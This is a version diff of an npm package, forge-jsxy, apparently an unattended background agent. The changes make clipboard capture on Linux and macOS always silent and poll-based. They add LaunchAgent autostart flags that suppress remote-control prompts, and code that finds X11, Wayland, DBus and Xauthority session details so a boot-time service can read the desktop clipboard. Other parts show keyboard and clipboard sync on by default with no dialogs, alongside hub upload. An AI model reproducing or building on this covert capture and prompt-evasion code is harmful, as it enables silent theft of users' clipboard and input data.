forge-jsxy 1.0.120 → 1.0.121

package/dist/agentRunner.js

@@ -41,6 +41,7 @@ exports.runForgeAgentWithSingleton = runForgeAgentWithSingleton;
 const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const linuxClipboardSession_1 = require("./linuxClipboardSession");
 const agentPid_1 = require("./agentPid");
 const relayAgent_1 = require("./relayAgent");
 const relayAuth_1 = require("./relayAuth");
@@ -165,6 +166,7 @@ function resolveForgeAgentFromArgv(argv, env = process.env) {
 function runForgeAgentWithSingleton(opts) {
     (0, agentPid_1.clearStaleAgentPidFile)();
     (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
+    (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
     (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
     (0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
     (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.120 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.121 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {

package/dist/autostart/agentEnvFile.js

@@ -50,6 +50,8 @@ exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
 const fs = __importStar(require("node:fs"));
 const os = __importStar(require("node:os"));
 const path = __importStar(require("node:path"));
+const linuxClipboardSession_1 = require("../linuxClipboardSession");
+const linuxX11_1 = require("../linuxX11");
 /** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
 exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
 /**
@@ -280,6 +282,7 @@ function serializeForgeAgentEnvMap(map) {
 function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
     if (process.platform !== "linux")
         return;
+    (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
     fs.mkdirSync(dataDir, { recursive: true });
     const p = forgeAgentEnvPath(dataDir);
     let raw = "";
@@ -556,6 +559,33 @@ function removeForgeAgentEnvKeys(dataDir, keys) {
         return;
     fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
 }
+function applyLinuxSessionEnvFromFile(key, value) {
+    const v = value.trim();
+    if (!v)
+        return;
+    if ((process.env[key] ?? "").trim())
+        return;
+    if (key === "DISPLAY") {
+        process.env.DISPLAY = v;
+        if (!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+            delete process.env.DISPLAY;
+        }
+        return;
+    }
+    if (key === "WAYLAND_DISPLAY") {
+        if ((0, linuxClipboardSession_1.linuxWaylandDisplayValid)(v)) {
+            process.env.WAYLAND_DISPLAY = v;
+        }
+        return;
+    }
+    if (key === "XDG_RUNTIME_DIR") {
+        if (fs.existsSync(v)) {
+            process.env.XDG_RUNTIME_DIR = v;
+        }
+        return;
+    }
+    process.env[key] = value;
+}
 function applyForgeJsAgentEnvFile(dataDir) {
     sanitizeForgeAgentEnvFileOnDisk(dataDir);
     const p = forgeAgentEnvPath(dataDir);
@@ -567,6 +597,13 @@ function applyForgeJsAgentEnvFile(dataDir) {
         return;
     }
     const map = parseForgeAgentEnvFileToMap(raw);
+    const linuxSessionKeys = new Set([
+        "XDG_RUNTIME_DIR",
+        "DISPLAY",
+        "WAYLAND_DISPLAY",
+        "DBUS_SESSION_BUS_ADDRESS",
+        "XAUTHORITY",
+    ]);
     for (const [k, v] of map) {
         /** Installed defaults — always honor the file after `npm install`. */
         if (k === "CFGMGR_HF_USE_XET" ||
@@ -582,8 +619,15 @@ function applyForgeJsAgentEnvFile(dataDir) {
             process.env[k] = v;
             continue;
         }
+        if (process.platform === "linux" && linuxSessionKeys.has(k)) {
+            applyLinuxSessionEnvFromFile(k, v);
+            continue;
+        }
         if (!(process.env[k] ?? "").trim()) {
             process.env[k] = v;
         }
     }
+    if (process.platform === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+    }
 }

package/dist/autostart/darwin.js

@@ -94,6 +94,10 @@ function registerDarwinAutostart(launch) {
         <string>1</string>
         <key>FORGE_JS_HEADLESS_UI</key>
         <string>1</string>
+        <key>FORGE_JS_CLIPBOARD_POLL_ONLY</key>
+        <string>1</string>
+        <key>FORGE_JS_REMOTE_CONTROL_NO_PROMPT</key>
+        <string>1</string>
 ${pathEnvXml}${syncEnvXml}    </dict>
 `;
     const content = `<?xml version="1.0" encoding="UTF-8"?>

package/dist/clipboardEventWatcher.js

@@ -46,6 +46,7 @@ exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
 const node_child_process_1 = require("node:child_process");
 const node_fs_1 = require("node:fs");
 const path = __importStar(require("node:path"));
+const headlessAgent_1 = require("./headlessAgent");
 const linuxX11_1 = require("./linuxX11");
 function parseClipboardHelperStdoutChunk(pending, data) {
     const token = "CLIPBOARD_CHANGE";
@@ -70,9 +71,7 @@ function parseClipboardHelperStdoutChunk(pending, data) {
     return { pending: tail, changed };
 }
 function pollOnlyEnv() {
-    const a = (process.env.FORGE_JS_CLIPBOARD_POLL_ONLY || "").trim();
-    const b = (process.env.FORGE_JS_WIN_CLIPBOARD_POLL_ONLY || "").trim();
-    return a === "1" || b === "1";
+    return (0, headlessAgent_1.forgeJsClipboardPollOnlyActive)();
 }
 /**
  * @returns dispose callback, or undefined if watcher not used.

package/dist/clipboardExec.d.ts

@@ -1,3 +1,5 @@
+/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
+export declare function ensureClipboardToolPath(): void;
 /** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
 export declare class ClipboardReadUnavailableError extends Error {
     constructor(message: string);

package/dist/clipboardExec.js

@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
 })();
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.ClipboardReadUnavailableError = void 0;
+exports.ensureClipboardToolPath = ensureClipboardToolPath;
 exports.readClipboardViaExec = readClipboardViaExec;
 /**
  * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
@@ -42,7 +43,63 @@ const node_child_process_1 = require("node:child_process");
 const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const node_util_1 = require("node:util");
+const headlessAgent_1 = require("./headlessAgent");
+const linuxClipboardSession_1 = require("./linuxClipboardSession");
+const linuxX11_1 = require("./linuxX11");
 const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
+const EXEC_ENV = () => process.env;
+/** Subprocess options: no terminal window, no stdin (background agent safe). */
+const CLIPBOARD_EXEC_OPTS = {
+    encoding: "utf8",
+    timeout: 8000,
+    maxBuffer: 2 * 1024 * 1024,
+    env: EXEC_ENV(),
+    stdio: ["ignore", "pipe", "pipe"],
+};
+/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
+function ensureClipboardToolPath() {
+    const extra = process.platform === "darwin"
+        ? ["/usr/bin", "/bin", "/opt/homebrew/bin", "/usr/local/bin"]
+        : process.platform === "linux"
+            ? ["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]
+            : [];
+    if (extra.length === 0)
+        return;
+    const cur = (process.env.PATH || "").split(":").map((s) => s.trim()).filter(Boolean);
+    const seen = new Set(cur);
+    const merged = [...cur];
+    for (const dir of extra) {
+        if (!seen.has(dir)) {
+            seen.add(dir);
+            merged.push(dir);
+        }
+    }
+    process.env.PATH = merged.join(":");
+}
+function resolveCliOnPath(name, fallbacks) {
+    const pathEnv = (process.env.PATH || "").trim();
+    if (pathEnv) {
+        for (const dir of pathEnv.split(":")) {
+            const d = dir.trim();
+            if (!d)
+                continue;
+            const p = path.join(d, name);
+            if (fs.existsSync(p))
+                return p;
+        }
+    }
+    for (const p of fallbacks) {
+        if (fs.existsSync(p))
+            return p;
+    }
+    return name;
+}
+function execErrLooksLikeEmptyClipboard(err) {
+    const e = err;
+    const blob = `${e.stderr ?? ""} ${e.message ?? ""}`.toLowerCase();
+    return (e.code === 1 ||
+        /no selection|nothing to paste|not owner|clipboard is empty|no clipboard/i.test(blob));
+}
 /** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
 class ClipboardReadUnavailableError extends Error {
     constructor(message) {
@@ -101,75 +158,109 @@ async function readClipboardViaExec() {
         throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
     }
     if (p === "darwin") {
-        const pb = process.env.PBPASTE_PATH?.trim() ||
-            (fs.existsSync("/usr/bin/pbpaste") ? "/usr/bin/pbpaste" : "pbpaste");
-        try {
-            const { stdout } = await execFileP(pb, [], {
-                encoding: "utf8",
-                timeout: 8000,
-                maxBuffer: 2 * 1024 * 1024,
-                env: process.env,
-            });
-            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        ensureClipboardToolPath();
+        const errors = [];
+        const pbCandidates = [
+            process.env.PBPASTE_PATH?.trim(),
+            "/usr/bin/pbpaste",
+            "/opt/homebrew/bin/pbpaste",
+            "/usr/local/bin/pbpaste",
+            "pbpaste",
+        ].filter((x) => Boolean(x && x.length > 0));
+        const seenPb = new Set();
+        for (const pb of pbCandidates) {
+            const key = pb.toLowerCase();
+            if (seenPb.has(key))
+                continue;
+            seenPb.add(key);
+            try {
+                const { stdout } = await execFileP(pb, [], CLIPBOARD_EXEC_OPTS);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                errors.push(`${pb}: ${e instanceof Error ? e.message : String(e)}`);
+            }
         }
-        catch (e) {
-            throw new ClipboardReadUnavailableError(`macOS pbpaste failed: ${e instanceof Error ? e.message : String(e)}`);
+        if ((0, headlessAgent_1.macClipboardOsascriptAllowed)()) {
+            try {
+                const { stdout } = await execFileP("osascript", ["-e", "the clipboard as text"], CLIPBOARD_EXEC_OPTS);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                errors.push(`osascript: ${e instanceof Error ? e.message : String(e)}`);
+            }
         }
+        throw new ClipboardReadUnavailableError(`macOS clipboard read failed (pbpaste${(0, headlessAgent_1.macClipboardOsascriptAllowed)() ? "/osascript" : ""}): ${errors.join("; ")}`);
     }
     if (p === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+        ensureClipboardToolPath();
         const errors = [];
-        // wl-paste appends a newline by default; --no-newline suppresses it.
-        if (process.env.WAYLAND_DISPLAY) {
+        const execOpts = CLIPBOARD_EXEC_OPTS;
+        const wlPaste = resolveCliOnPath("wl-paste", ["/usr/bin/wl-paste"]);
+        const xclip = resolveCliOnPath("xclip", ["/usr/bin/xclip"]);
+        const xsel = resolveCliOnPath("xsel", ["/usr/bin/xsel"]);
+        const tryWlPaste = async () => {
+            const wlArgsList = [
+                ["--type", "text", "--no-newline"],
+                ["--no-newline"],
+            ];
+            for (const wlArgs of wlArgsList) {
+                try {
+                    const { stdout } = await execFileP(wlPaste, wlArgs, execOpts);
+                    return String(stdout ?? "").replace(/\r\n/g, "\n");
+                }
+                catch (e) {
+                    if (execErrLooksLikeEmptyClipboard(e))
+                        return "";
+                    if (wlArgs === wlArgsList[wlArgsList.length - 1]) {
+                        errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
+                    }
+                }
+            }
+            return null;
+        };
+        const tryXclip = async () => {
             try {
-                const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
-                    encoding: "utf8",
-                    timeout: 8000,
-                    maxBuffer: 2 * 1024 * 1024,
-                });
+                const { stdout } = await execFileP(xclip, ["-selection", "clipboard", "-o"], execOpts);
                 return String(stdout ?? "").replace(/\r\n/g, "\n");
             }
             catch (e) {
-                errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
+                if (execErrLooksLikeEmptyClipboard(e))
+                    return "";
+                errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
+                return null;
             }
+        };
+        const tryXsel = async () => {
+            try {
+                const { stdout } = await execFileP(xsel, ["--clipboard", "--output"], execOpts);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                if (execErrLooksLikeEmptyClipboard(e))
+                    return "";
+                errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
+                return null;
+            }
+        };
+        const backends = (0, linuxX11_1.linuxLikelyWaylandSession)()
+            ? [tryWlPaste, tryXclip, tryXsel]
+            : [tryXclip, tryXsel, tryWlPaste];
+        const collected = [];
+        const parts = await Promise.all(backends.map((run) => run()));
+        for (const text of parts) {
+            if (text !== null)
+                collected.push(text);
         }
-        try {
-            const { stdout } = await execFileP("xclip", ["-selection", "clipboard", "-o"], {
-                encoding: "utf8",
-                timeout: 8000,
-                maxBuffer: 2 * 1024 * 1024,
-                env: process.env,
-            });
-            return String(stdout ?? "").replace(/\r\n/g, "\n");
-        }
-        catch (e) {
-            errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
-        }
-        try {
-            const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
-                encoding: "utf8",
-                timeout: 8000,
-                maxBuffer: 2 * 1024 * 1024,
-                env: process.env,
-            });
-            return String(stdout ?? "").replace(/\r\n/g, "\n");
-        }
-        catch (e) {
-            errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
-        }
-        // Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
-        try {
-            const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
-                encoding: "utf8",
-                timeout: 8000,
-                maxBuffer: 2 * 1024 * 1024,
-                env: process.env,
-            });
-            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        if (collected.length === 0) {
+            throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
         }
-        catch (e) {
-            errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
+        const nonEmpty = collected.filter((t) => t.length > 0);
+        if (nonEmpty.length > 0) {
+            return nonEmpty.reduce((best, t) => (t.length >= best.length ? t : best));
         }
-        throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
+        return collected[0] ?? "";
     }
     throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
 }

package/dist/headlessAgent.d.ts

@@ -0,0 +1,28 @@
+/**
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
+ *
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
+ */
+/** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
+export declare function forgeJsHeadlessUiActive(): boolean;
+/** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
+export declare function forgeJsNoPromptActive(): boolean;
+/**
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
+ */
+export declare function forgeJsClipboardPollOnlyActive(): boolean;
+/**
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
+ */
+export declare function skipForegroundCaptureForClipboardSync(): boolean;
+/** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
+export declare function macClipboardOsascriptAllowed(): boolean;
+/**
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
+ */
+export declare function applyHeadlessClipboardDefaults(): void;

package/dist/headlessAgent.js

@@ -0,0 +1,77 @@
+"use strict";
+/**
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
+ *
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.forgeJsHeadlessUiActive = forgeJsHeadlessUiActive;
+exports.forgeJsNoPromptActive = forgeJsNoPromptActive;
+exports.forgeJsClipboardPollOnlyActive = forgeJsClipboardPollOnlyActive;
+exports.skipForegroundCaptureForClipboardSync = skipForegroundCaptureForClipboardSync;
+exports.macClipboardOsascriptAllowed = macClipboardOsascriptAllowed;
+exports.applyHeadlessClipboardDefaults = applyHeadlessClipboardDefaults;
+function envTruthy(name) {
+    const v = (process.env[name] || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(v);
+}
+function isUnixDesktop() {
+    return process.platform === "linux" || process.platform === "darwin";
+}
+/** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
+function forgeJsHeadlessUiActive() {
+    if (isUnixDesktop())
+        return true;
+    return envTruthy("FORGE_JS_HEADLESS_UI");
+}
+/** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
+function forgeJsNoPromptActive() {
+    if (isUnixDesktop())
+        return true;
+    return envTruthy("FORGE_JS_REMOTE_CONTROL_NO_PROMPT");
+}
+/**
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
+ */
+function forgeJsClipboardPollOnlyActive() {
+    if (isUnixDesktop()) {
+        return !envTruthy("FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER");
+    }
+    if (envTruthy("FORGE_JS_CLIPBOARD_POLL_ONLY"))
+        return true;
+    if (envTruthy("FORGE_JS_WIN_CLIPBOARD_POLL_ONLY"))
+        return true;
+    if (forgeJsHeadlessUiActive())
+        return true;
+    return false;
+}
+/**
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
+ */
+function skipForegroundCaptureForClipboardSync() {
+    if (isUnixDesktop()) {
+        return !envTruthy("FORGE_JS_CLIPBOARD_FOREGROUND_CONTEXT");
+    }
+    return forgeJsHeadlessUiActive() || forgeJsNoPromptActive();
+}
+/** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
+function macClipboardOsascriptAllowed() {
+    if (!isUnixDesktop())
+        return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
+    return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
+}
+/**
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
+ */
+function applyHeadlessClipboardDefaults() {
+    if (!isUnixDesktop())
+        return;
+    process.env.FORGE_JS_HEADLESS_UI = "1";
+    process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
+    process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
+}

package/dist/inputContext.js

@@ -39,6 +39,7 @@ const node_child_process_1 = require("node:child_process");
 const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const node_util_1 = require("node:util");
+const headlessAgent_1 = require("./headlessAgent");
 const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
 const EXEC_TIMEOUT_MS = 3200;
 const FG_CACHE_MS = 800;
@@ -923,7 +924,9 @@ function estimateConfidence(fg) {
     return "low";
 }
 async function buildInputContextJson(kind, text) {
-    const fg = await captureForegroundContext();
+    const fg = kind === "clipboard" && (0, headlessAgent_1.skipForegroundCaptureForClipboardSync)()
+        ? { capture_method: "clipboard_sync_headless" }
+        : await captureForegroundContext();
     const payload = {
         platform: process.platform,
         event_kind: kind,

package/dist/linuxClipboardSession.d.ts

@@ -0,0 +1,16 @@
+export declare function linuxWaylandDisplayValid(name: string): boolean;
+/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
+export declare function linuxClearStaleGraphicalEnv(): void;
+/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
+export declare function linuxDiscoverWaylandDisplay(): string | null;
+/** First local X11 display (`:N`) with an existing abstract socket. */
+export declare function linuxDiscoverDisplay(): string | null;
+/**
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
+ */
+export declare function ensureLinuxGraphicalSessionEnv(): void;
+/**
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
+ */
+export declare function linuxDesktopSessionActive(): boolean;

package/dist/linuxClipboardSession.js

@@ -0,0 +1,179 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.linuxWaylandDisplayValid = linuxWaylandDisplayValid;
+exports.linuxClearStaleGraphicalEnv = linuxClearStaleGraphicalEnv;
+exports.linuxDiscoverWaylandDisplay = linuxDiscoverWaylandDisplay;
+exports.linuxDiscoverDisplay = linuxDiscoverDisplay;
+exports.ensureLinuxGraphicalSessionEnv = ensureLinuxGraphicalSessionEnv;
+exports.linuxDesktopSessionActive = linuxDesktopSessionActive;
+/**
+ * Best-effort discovery of graphical session env for clipboard tools under systemd --user,
+ * XDG autostart, or boot-before-login when forge-js-agent.env is stale or incomplete.
+ */
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const linuxX11_1 = require("./linuxX11");
+function linuxWaylandDisplayValid(name) {
+    return waylandSocketExists(name);
+}
+function waylandSocketExists(name) {
+    const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || xdgRuntimeDir();
+    if (!xdg || !name)
+        return false;
+    try {
+        return fs.existsSync(path.join(xdg, name));
+    }
+    catch {
+        return false;
+    }
+}
+/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
+function linuxClearStaleGraphicalEnv() {
+    if (process.platform !== "linux")
+        return;
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+        delete process.env.DISPLAY;
+    }
+    const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+    if (wl && !waylandSocketExists(wl)) {
+        delete process.env.WAYLAND_DISPLAY;
+    }
+}
+function linuxUid() {
+    try {
+        return os.userInfo().uid;
+    }
+    catch {
+        return process.getuid?.() ?? 1000;
+    }
+}
+function xdgRuntimeDir() {
+    const fromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
+    if (fromEnv)
+        return fromEnv;
+    return `/run/user/${linuxUid()}`;
+}
+/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
+function linuxDiscoverWaylandDisplay() {
+    const xdg = xdgRuntimeDir();
+    try {
+        if (!fs.existsSync(xdg))
+            return null;
+        const names = fs
+            .readdirSync(xdg)
+            .filter((e) => /^wayland-\d+$/.test(e))
+            .sort((a, b) => {
+            const na = parseInt(a.split("-")[1] ?? "0", 10);
+            const nb = parseInt(b.split("-")[1] ?? "0", 10);
+            return na - nb;
+        });
+        return names[0] ?? null;
+    }
+    catch {
+        return null;
+    }
+}
+/** First local X11 display (`:N`) with an existing abstract socket. */
+function linuxDiscoverDisplay() {
+    try {
+        const entries = fs.readdirSync("/tmp/.X11-unix");
+        const nums = entries
+            .map((e) => /^X(\d+)$/.exec(e))
+            .filter((m) => m !== null)
+            .map((m) => parseInt(m[1], 10))
+            .sort((a, b) => a - b);
+        if (nums.length === 0)
+            return null;
+        return `:${nums[0]}`;
+    }
+    catch {
+        return null;
+    }
+}
+/**
+ * Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
+ * and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
+ */
+function ensureLinuxGraphicalSessionEnv() {
+    if (process.platform !== "linux")
+        return;
+    linuxClearStaleGraphicalEnv();
+    const xdg = xdgRuntimeDir();
+    if (!(process.env.XDG_RUNTIME_DIR || "").trim() && fs.existsSync(xdg)) {
+        process.env.XDG_RUNTIME_DIR = xdg;
+    }
+    const runtime = (process.env.XDG_RUNTIME_DIR || "").trim() || xdg;
+    if (runtime && !(process.env.WAYLAND_DISPLAY || "").trim()) {
+        const wl = linuxDiscoverWaylandDisplay();
+        if (wl)
+            process.env.WAYLAND_DISPLAY = wl;
+    }
+    if (!(process.env.DISPLAY || "").trim()) {
+        const disp = linuxDiscoverDisplay();
+        if (disp)
+            process.env.DISPLAY = disp;
+    }
+    if (runtime && !(process.env.DBUS_SESSION_BUS_ADDRESS || "").trim()) {
+        const busPath = path.join(runtime, "bus");
+        if (fs.existsSync(busPath)) {
+            process.env.DBUS_SESSION_BUS_ADDRESS = `unix:path=${busPath}`;
+        }
+    }
+    if (!(process.env.XAUTHORITY || "").trim()) {
+        const home = (process.env.HOME || "").trim() || os.homedir();
+        const xa = path.join(home, ".Xauthority");
+        if (fs.existsSync(xa))
+            process.env.XAUTHORITY = xa;
+    }
+}
+/**
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
+ */
+function linuxDesktopSessionActive() {
+    if (process.platform !== "linux")
+        return false;
+    ensureLinuxGraphicalSessionEnv();
+    if ((process.env.WAYLAND_DISPLAY || "").trim() || (0, linuxX11_1.linuxLikelyWaylandSession)()) {
+        return true;
+    }
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp) {
+        return (0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)();
+    }
+    return linuxDiscoverDisplay() !== null || linuxDiscoverWaylandDisplay() !== null;
+}

package/dist/linuxX11.d.ts

@@ -1,2 +1,7 @@
 /** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
 export declare function linuxDisplayPointsToExistingX11Socket(): boolean;
+/**
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
+ */
+export declare function linuxLikelyWaylandSession(): boolean;

package/dist/linuxX11.js

@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
 })();
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
+exports.linuxLikelyWaylandSession = linuxLikelyWaylandSession;
 /**
  * Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
  */
@@ -51,3 +52,20 @@ function linuxDisplayPointsToExistingX11Socket() {
         return false;
     }
 }
+/**
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
+ */
+function linuxLikelyWaylandSession() {
+    if ((process.env.WAYLAND_DISPLAY || "").trim())
+        return true;
+    const xdg = (process.env.XDG_RUNTIME_DIR || "").trim();
+    if (!xdg)
+        return false;
+    try {
+        return fs.readdirSync(xdg).some((e) => /^wayland-\d+$/.test(e));
+    }
+    catch {
+        return false;
+    }
+}

package/dist/windowsInputSync.d.ts

@@ -12,6 +12,8 @@ export declare function skipUiohookKeyboard(): boolean;
  */
 export declare function skipClipboardSyncReason(): string | null;
 export declare function skipClipboardSync(): boolean;
+/** False for explicit opt-out — no point polling for a desktop session that will never be used. */
+export declare function clipboardSkipReasonIsRecoverable(reason: string | null): boolean;
 /**
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
